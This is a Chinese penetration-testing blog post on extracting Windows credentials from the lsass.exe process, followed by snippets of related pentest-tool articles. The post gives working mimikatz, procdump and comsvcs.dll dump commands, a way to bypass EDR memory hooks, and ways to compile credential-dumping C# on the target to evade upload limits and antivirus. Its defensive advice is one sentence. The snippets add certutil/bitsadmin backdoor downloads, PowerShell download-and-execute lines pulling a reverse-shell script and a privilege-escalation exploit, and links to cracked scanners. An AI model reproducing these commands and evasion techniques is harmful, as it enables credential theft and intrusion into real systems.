渗透基础——从lsass.exe进程导出凭据

二叶草
二叶草
二叶草
1214
文章
0
评论
2020年3月26日22:03:01 评论 370

0x00 前言

本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 从lsass.exe进程导出凭据的常用方法。

· 限制上传文件长度时导出凭据的方法。

· 限制下载文件长度时导出凭据的方法。

0x02 从lsass.exe进程导出凭据的常用方法

1.使用mimikatz直接导出凭据

直接从lsass.exe进程的内存中导出凭据,命令如下:

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

通常这种方式会被安全产品拦截。

2.通过lsass.exe进程的dmp文件导出凭据

(1)获得lsass.exe进程的dmp文件

procdump

命令如下:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

c++实现

https://github.com/killswitch-GUI/minidump-lib

powershell实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

c#实现

https://github.com/GhostPack/SharpDump

使用comsvcs.dll

示例参数如下:

rundll32 C:windowssystem32comsvcs.dll, MiniDump 808 C:testlsass.dmp full

注:使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试

以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件。

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。

绕过思路:

使用正确的命令覆盖被修改的前5个字节或是重写一个NtReadVirtualMemory()

参考资料:

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

开源工具:

https://github.com/outflanknl/Dumpert

(2)从dmp文件导出凭据

成功获得了lsass.exe进程的dmp文件后,可以借助mimikatz导出凭据,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

 0x03 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译

为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本。

1.使用c#实现的mimikatz直接导出凭据

Casey Smith已经实现了在c#文件中加载mimikatz,目前可供参考的代码地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

需要注意的是这个代码封装的mimikatz版本为mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)。

这个版本在执行命令sekurlsa::logonpasswords时导出的结果不全,默认无法导出hash。

于是我在此基础上将mimikatz替换到新版本:mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14

替换的方法是先将新版的mimikatz.exe进行Gzip压缩,再转换成base64编码,最后修改字符串KatzCompressed中的内容。

生成新字符串KatzCompressed内容的c#代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后将生成的文件base64.txt中的内容替换字符串KatzCompressed。

替换字符串后,实现升级mimikatz版本的PELoader.cs我也上传到了github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

编译命令:

C:WindowsMicrosoft.NETFramework64v3.5csc.exe PELoaderofMimikatz.cs /unsafe

or

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe PELoaderofMimikatz.cs /unsafe

导出凭据的命令:

PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

注:需要经过简单的修改,在程序中提前传入要执行的命令,可以使用InstallUtil.exe导出凭据,命令如下:

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe

通过这种方法,可以将.cs文件上传至目标测试环境,然后使用目标测试环境自带的.Net进行编译。

2.使用c#实现的代码获得lsass.exe进程的dmp文件

类似的开源代码有很多,我在SafetyKatz的基础上做了简单的修改。

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后在当前路径生成lsass.exe进程的dmp文件。

获得了dmp文件后可以将其下载到本地再使用mimikatz导出凭据。

0x04 限制下载文件长度时导出凭据的方法

如果实际的测试环境对下载文件的长度做了限制(有时lsass.exe进程的dmp文件压缩后也有上百MB)。

这里最简单的解决方法是对mimikatz做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从lsass.exe进程的dmp文件中导出凭据。

这里可以参考SafetyKatz,地址如下:

https://github.com/GhostPack/SafetyKatz

SafetyKatz对mimikatz进行了二次修改并封装到字符串中,参照了Casey Smith在c#文件中加载mimikatz的方法,实现以下功能:

1.获得lsass.exe进程的dmp文件并保存到temp目录

2.从dmp文件导出凭据

3.删除dmp文件

我们可以在SafetyKatz的源码中加入以下代码把封装好的exe进行还原

FileStream fs = new FileStream(@"C:test1.exe", FileMode.Create);

fs.Write(unpacked, 0, unpacked.Length);

fs.Flush();

fs.Close();

可以看到封装的exe是修改过的mimikatz,默认会执行一些命令,如下图

渗透基础——从lsass.exe进程导出凭据

我对SafetyKatz的代码做了简单的调整,使其支持.Net 3.5以及更高版本

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SafetyKatz.cs

编译命令:

C:WindowsMicrosoft.NETFramework64v3.5csc.exe SafetyKatz.cs /unsafe

or

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe SafetyKatz.cs /unsafe

 0x05 防御检测

利用的前提是攻击者已获得了系统的管理员权限,获得lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),可以尝试对此进行监控。

0x06 小结

本文介绍了不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

本文来源于:渗透基础——从lsass.exe进程导出凭据-变化吧门户
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

转载请注明:{{title}}-变化吧
  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 赞助本站
  • 支付宝扫一扫
  • weinxin
二叶草
渗透测试实用工具 渗透

渗透测试实用工具

 工具概述 1、新增批量修改文件夹文件后缀功能,并重新排列工具,更加详细使用 2、新增文件夹监控功能,监控python tool.py -monitor C: 3、新增将包含rgb值的txt文件转换为png照片的实用功能python tool.py -r2i“ C: rgb.txt” -x 100 -y 200 4、新增去重功能,可以使用-delete 1.txt放入文件中所有重复的内容删除掉 优点:小巧,方便,强大,常见的编码方式应有尽有。 例如您输入:python tool.py -urlen =“ Hello China”您可以得到如下结果 原文:你好中国 网址编码:%48%65%6c%6c%6f%08%43%68%69%6e%61 使用说明 该工具设计的初衷是由于在渗透测试中经常会遇到一些新场景,但是没有很好的现成的工具,本着“自己动手丰衣足食”的想法,遇到需求就添加功能所以才有了 现在的它,工具现在还不是很完善!期待和你一起完善它! 您只需要下载即可使用,因为我已经将需要的东西全部封装起来 您只需要输入python tool.py就可以并且得到如下结果: Encoding&Decoding: -m        MD5 encryption -s        SH1 encryption -help     Show help information -b64      Base64 encode -b32      Base32 encode -b16      Base16 encode -db64     Base64 decode -db32     Base32 decode -db16     Base16 decode -urlen    URL encode -urlde    URL decode -unien    Unicode Encode Example:  -unien    "A"        Result: u0061 -unide    Unicode Decode                 Example:  -unide    "u0061"   Result: A -hten     HTML Encode ...
渗透测试最重要的工具竟然是 Word 和 PPT ? 渗透

渗透测试最重要的工具竟然是 Word 和 PPT ?

很多 CISO 极其信赖渗透测试——对公司基础设施的模拟攻击(通常是网络基础设施,但实体安全测试也会落入此模拟攻击范围)。意大利国家电力公司 Enel 的 CISO Yuri Rassega 也不例外。他表示,自己的公司每年对公司关键资产执行约 400 次深度漏洞测试,平均每天超过一次。 但若未清晰界定测试范围并达成共识,事情就有可能很快跑偏:网络安全公司 Coalfire 对爱荷华州法院的渗透测试就导致两名员工因非法侵入被捕。 正如 Coalfire 哀叹的:Coalfire 和州法院管理处认为已就工作范围中所含位置的实体安全评估达成了一致……最近的事件却表明他们对该协议的范围有不一样的解释。 渗透测试本身的定义也会出现类似的混乱。 漏洞奖励公司 HackerOne 的技术项目经理 Niels Schweisshelm 透露:一定不能弄混渗透测试和漏洞评估。漏洞评估的结果是系统中漏洞的概览,而渗透测试是通过结合并利用上述漏洞来揭示整体影响。 简言之,黑客侵入某系统可不仅仅是靠发现一个可打开网络的大漏洞。 恶意黑客入侵系统通常是先找出一个低级漏洞,然后结合其他一系列低级漏洞,一步步获取更高权限。 渗透测试的艰难时刻:他们决定进入完全 “红队” 模式 客户和渗透测试员之间的绝对清晰非常重要。 正如 Synopsys 高级首席顾问 Andrew van der Stock 强调的:真正的攻击者没有交战规则、时间限制和界限,但我们有。 我知道某前任雇主的一次渗透测试中就没提到数据渗漏方面的规则。一位年轻的团队成员发现了一个默认高权限账户。这是个应该上报的发现,但他们决定进入完全 ‘红队’ 模式,克隆并下载了一个大对象以供后续分析,抽干了系统的磁盘空间。该事件导致客户和测试员都陷入了艰难对话…… 沟通与许可为王。 谨慎选择供应商 Context Information Security 首席顾问兼红队主管 Rob Downie 称:大范围和高操作自由度的渗透测试常被归入 “红队” 或 “模拟攻击” 范畴讨论。这种类型的测试着眼全部安全控制,往往针对更高级和完备的防御团队,评估人员、过程和技术联动中的漏洞。 这可真实剖析公司防御表现,但也需要一些高级专业技能以安全可控的方式来规划、风险管理和交付。这就使得供应商选择对寻求此类服务的公司企业而言更加重要了。 优秀渗透测试员需具备哪些素质? 很明显,对操作系统和协议的深度理解是关键。对应用及工具工作原理和互动模式的敏锐目光,有助发现可组合使用的低级漏洞。 但 F-Secure Consulting 的技术总监 David Hartley 强调,良好的攻击性安全技术还仅仅是个开始。他指出:最终,渗透测试员工具箱中最重要的工具是 Word 和 Powerpint。 客户要的是结果,渗透测试员技术有多高明无关紧要,渗透测试对客户的价值是通过测试结果的有用程度和可执行程度体现的。渗透测试是深度技术评估,非技术人员未必总能理解其结果。 他补充道,帮助董事会理解测试发现的重要性,将测试结果映射至业务风险上,以及帮助客户解决这些风险,才是真正的挑战。在这方面,以攻击路径图的图形化方式呈现,往往比满屏的服务器 shell 截图有效得多。 专家们都用哪些工具? 攻击安全专家们都用哪些小工具针对你的公司呢?HackerOne 技术项目经理 Niels Schweisshelm 解释道:渗透测试员使用什么工具取决于评估的类型。 大多数渗透测试员会用 Burp Suite 执行 Web 应用渗透测试,Nmap 或 Masscan 则在基础设施渗透测试中更为重要。无论什么类型的测试活动,渗透测试员都必须了解测试目标,能够改造现有工具或撰写新工具来适应测试需求。 Synopsys 的 van der Stock 补充道:面对这个问题,大部分人会给出自己最钟爱的工具或套装名称,比如 “Burp Suite Pro” 或 “Kali”,但渗透测试工具包中最本质的部分是他们的脑子。 如果不具备攻击思维,没有任何工具帮得了你。第二重要的工具,是可供实操的脆弱应用,比如 OWASP...
简谈渗透测试各阶段我常用的那些“神器” 渗透

简谈渗透测试各阶段我常用的那些“神器”

 前言 本人所有文章都很用心的写作完成,并时常总结如何分享更有用的东西给朋友们。这篇更是如此,晚上准备到凌晨四点开始写作,为了需要的朋友而写,不喜欢的右上角点叉不要像上次文章一样在下面喷粪逼我骂你,另疏漏之处欢迎有心的道友下方补充帮助更多的朋友们。 flagellantX’s Windows Weapon 是我整理的在windows下针对基础入侵渗透的一个工具包,放置在百度网盘,为了方便需要的朋友使用和更新。 https://pan.baidu.com/s/1iKILpYMz0vM_x1zC3Xq3lA 提取密码:9efg 0x01 漏洞盲扫 我记得最先学安全的时候是从入侵渗透入手的,那时候入门的前辈讲的很清楚,告诉我要思维带着工具去扫,当时我不能完全理解,就使用既简单又有效的无外乎扫描器全上,所有域名全扫,也就是这个分类的由来,“盲扫” 硬件要求:如果要扫描器一起上,建议内存大于8GB,本人计算机是aw15-i7-6700/16GB awvs11: 安装包和破解补丁一并打包了,这款扫描器前身是wvs,目录下有awvs10.5,与11在界面上是完全不一样的(同时安装两者可能引起冲突),两者测试功能并不相差太多,我个人相对使用11较多,使用只要创建扫描(AddTarget)就可以开始,如图: Netsparker4.9.1.16896: 安装稍有不同需要将破解文件复制到软件根目录进行覆盖即可,然后填入域名即可开始扫描目标,如下: AppScan9.0.3.6: 主流的一款企业级扫描器,容量很大,也很强大,支持扫描webservice。下载需要花费时间,其它没有什么难度,相对扫描时间要比其它扫描器花费更多时间,电脑内存最好大于8GB,若是4GB内存只开appscan可以带起,不过不宜再多开其它漏扫。 安装包安装完成之后将动态链接库文件覆盖到根目录即可 选择需要的扫描类别,开始扫描后再问题处查看报出的漏洞情况。 Burpsuite1.7.26: Burp优秀的挖洞,数据分析、爆破、撞库功能下常常会忽略它的漏扫功能,这里将它放在漏扫是因为它确实能担当的住,这里分享的版本可以永久使用,监听好后访问目标域名选择sipder和scanner模块即可,这里不演示了。 uniscan6.2: kali下的uniscan,使用命令是uniscan -u (http://www.target.com/) -qweds,而在windows的版本需要搭建php环境,由于我自己目前windows下使用很少所以就不搭建了,它对于扫xss漏洞的能力十分强硬,而且十分全面可以挖掘泄露文件,我比较喜欢它的挖掘邮箱功能和找xss的能力,一个可以用于钓鱼,另一个可以拿来构造xss持久化控制。 DirBuster-0.12: 也是人人都知道的Fuzzing工具,就不多介绍了,我记得它有一些小功能比较突出,暂时忘了。 Safe3WVS 10.1: 用过的都知道是一个威力强劲的挖洞神器,又小又轻便,生成报告很快,不过不支持在虚拟机使用,使用给一个小建议,不要都勾上,单个单个扫效率更高。 WebRobot v1.8.2: 洪流前辈的作品,神级爬虫一出,心里自然有数,不用多说。 当然不仅仅是爬虫,我就很喜欢用它的域名爆破和链接分析。 御剑三件套: 御剑1.5+御剑后台扫描珍藏版+御剑无字典大小限制1937版。 几代人的回忆就不说了,经典中的经典,效果在现在用也不逊色,往往能给你惊喜,作者也说得很清楚,想念初恋而作,初恋就是这样,如果初恋很美,或许美在回忆那得不到回不去的过去。 字典的可自定义让御剑能一直御剑江湖,1.5内含的字典较全面。 Wscan6+Pker多线程后台极速扫描工具2.01: 这两款工具有些年代感,推荐它们是因为早期立过功,扫描速度很快很迅速,找后台找备份找db能力都不俗,其中pkav可是当时乌云的第一天团,办的培训也很靠谱,学成出山的高手众多,只是那时候我还在打酱油,钱不够,哈哈。 当然现在也不够,哈哈。 0x02 资源收集 收集的有:低级域名、url采集、端口扫描 子域名收集 Layer4.2纪念版: subDomainsBrute: 这两个子域收集使用肯定是最多的,在windows环境下layer的会比较方便。 端口扫描 zenmap: zenmap就不多介绍了,windows下的nmap,使用语法可以网上查找手册,进阶看这个:http://www.freebuf.com/column/149716.html。 Portscan+御剑TCP: 这两款我都非常喜欢,在win环境下使用非常方便,特别是御剑也的确配的上高速二字,另外一个端口扫描可以更全面的进一步了解,在内外网都可以有建树。 url采集: url采集可以用于扩大攻击面、收集低级域名、同站C段、新的exploit进行规模测试。 0x03 渗透测试 字典撞库 这招一般是用来配合burp进行挖洞测试的,因为这块准备的匆忙,所以就罗列了几个常用的字典。 中间件漏洞 测试工具是对st2和weblogic,jboss,WebSphere等。st2这款工具多被用于批量挖洞,中间件漏洞中常见端口例如8080,9000,7001 和常见路径例如/console/,/manager/html以及不同中间件对应的弱口令也要掌握,最好的中间件攻击手段是通过端口的弱口令设备爆破,其次才是exploit批量。 心脏出血 最好的检测工具莫过于CrowdStrike Heartbleed Scanner了,拿到网段就可以进行测试,无在乎外网内网。 IIS写权 同样也是拿到网段即可测试,用到的是经典工具IISPutScanner /桂林老兵前辈的iiswrite /08sec的IISPutScanner。 .svn源码泄露: 直接祭出法器就行了。 文件上传 我没有准备任何工具,但是准备了一份经典的文件上传漏洞详解,相信不熟悉的朋友看了就可以了解到: 口令爆破 我打包的是hydra,学习链接在freebuf中就可以找到很多:http://search.freebuf.com/search/?search=hydra#article。 编辑器漏洞 我打包了一个ietester,只要在网络上搜索对应编辑器漏洞就会有利用过程。 XSS+CSRF+SQLI: https://xsspt.com/,很nice的一个平台,不仅免费而且在学习栏目中收集了乌云的xss漏洞类别的所有漏洞案例,可以站在前人的肩膀上进行学习。 作为拓展也打包了慢雾科技老总黑客猥琐流派系创始人钟晨鸣和天融信阿尔法实验室国内html5攻防第一人徐少培的著作《Web前端黑客技术揭秘》来作为延伸提高资料。 CSRF就打包了两个常规测试的工具OWASP-CSRFTester和CSRF-Request-Builder使用方法只要你愿意在网络上搜索都可以轻松找到完美教程。 注入方面打包了胡萝卜穿山甲sqlmap的常用工具外,我还添加了一个SQLHunter的叫做注入猎人可以用来进行批量找注入点,但是需要你有代理到外面才可以用,另外我修改了一些sqlmap的脚本,例如你嫌它脱裤太慢,你可以把线程最高加到65535只要你机子吃得消,但是Windows线程Max是65535,Kali2.0线程Max是15750,过犹不及。 0x04 内网用具 NetFuke+Cain4.9: 作为老牌的内网杀器这两个大家都不陌生,前者用来域名劫持多,后者用来嗅探密码,但是动静太大,一不小心会把内网瘫痪掉,打包里有使用教程,Cain该隐的话看这个吧:https://www.jianshu.com/p/facff81a4826。 EvilFoca: 这款工具对内网渗透摸索过的朋友肯定也在用了,局域挂个黑页是手到擒来,但其实可以配合浏览器漏洞、钓鱼页面等等进行做到更多的事情,IE0DAY可以让目标劫持到漏洞网址进行exec木马,没有0day也可以构造一个上网助手页面,wifi.exe或者update.exe作为木马欺骗网内用户下载。工具打包了使用教程,文章是freebuf中作者写的,也可以在站内进行搜索。 局域网查看工具+MAC地址扫描+啊D网络工具包: 三款都是老工具,但是会搞的OG肯定都玩过这些,当年也是威力不俗的利器,比如肉鸡木马种植机,别告诉我你没玩过。 Wireshark: Intercepter-NG: 我要推的就是这款来自俄国的力量,功能十分强悍,集成内涵有x-scan,可以各种劫持,嗅探,注入,中间人,检测心脏出血,爆破等等各种功能可以驰骋内网,使用教程近日我会往微博发布,很吊但又是非常冷门的软件。 0x05 权限维持 废话不多说,先上图: webshell中内置了很多绕过各种安全软件的shell,也有很多可能被杀了,因为这篇是基础的入侵渗透,如果要相对高级冷门的shell可以看我微博的那篇1kb后门持久控制系统绕过安全软件。lcx和NtGodMode都是用来简单提权的,操作也简单,百度就可以很快找到,Cknife和caidao就都是webshell管理工具了,大家也都知道。权限维持的话我比较喜欢用RAT,所以今天的重点是分享的这三款:...
内网渗透工具- Intranet-Penetration 渗透

内网渗透工具- Intranet-Penetration

 整理一些常用的内外网渗透测试工具 PHPoxy 通过PHP脚本运行一个可以访问内网机器的Web代理。 SocksCap  socks5代理客户端 XX-Net    科学上网利器 phpsocks5  通过php脚本创建socks5代理服务 socks     包含创建socks5代理服务的python脚本,以及ssocks 内网穿透神器。 Cain      内网嗅探神器 F-NAScan    网络资产信息扫描 X-Sniff    网络嗅探小工具 asocks5     创建socks5代理服务的小公举 bc.pl      反弹bash shell的perl脚本 bypassUAC http    创建HTTP服务 l.7z    lcx的slave版本,免杀 n.7z     nc.exe smsniff2 抓包工具 wget     win版wget get.7z get64.7z mimikatz无交互版 直接shell下运行 get.7z (不是压缩文件) 常用命令 1、开web python2 -m SimpleHTTPServer python3 -m http.server 2、download backdoor certutil.exe -urlcache -split -f http://xxxx/g.jpg bitsadmin /rawreturn /transfer getfile http://xxxx/g.jpgc:p.7z 3、tty python -c 'import pty; pty.spawn("/bin/sh")' 4、powershell root@kali:/tmp# wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 root@kali:/tmp# wget https://gist.githubusercontent.com/intrd/6dda33f61dca560e6996d01c62203374/raw/babf9a6afd23bb17a89bb3415099459db7bd25cf/ms16_032_intrd_mod.ps1 powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object    system.net.webclient).downloadfile('http://10.1.x.x:8000/Invoke-PowerShellTcp.ps1','Invoke-PowerShellTcp.ps1') powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object    system.net.webclient).downloadfile('http://10.1.x.x:8000/ms16_032_intrd_mod.ps1','ms16_032_intrd_mod.ps1') IEX (New-Object Net.WebClient).DownloadString('http://10.1.x.x:8000/ms16_032_intrd_mod.ps1');Invoke-MS16-032 "-...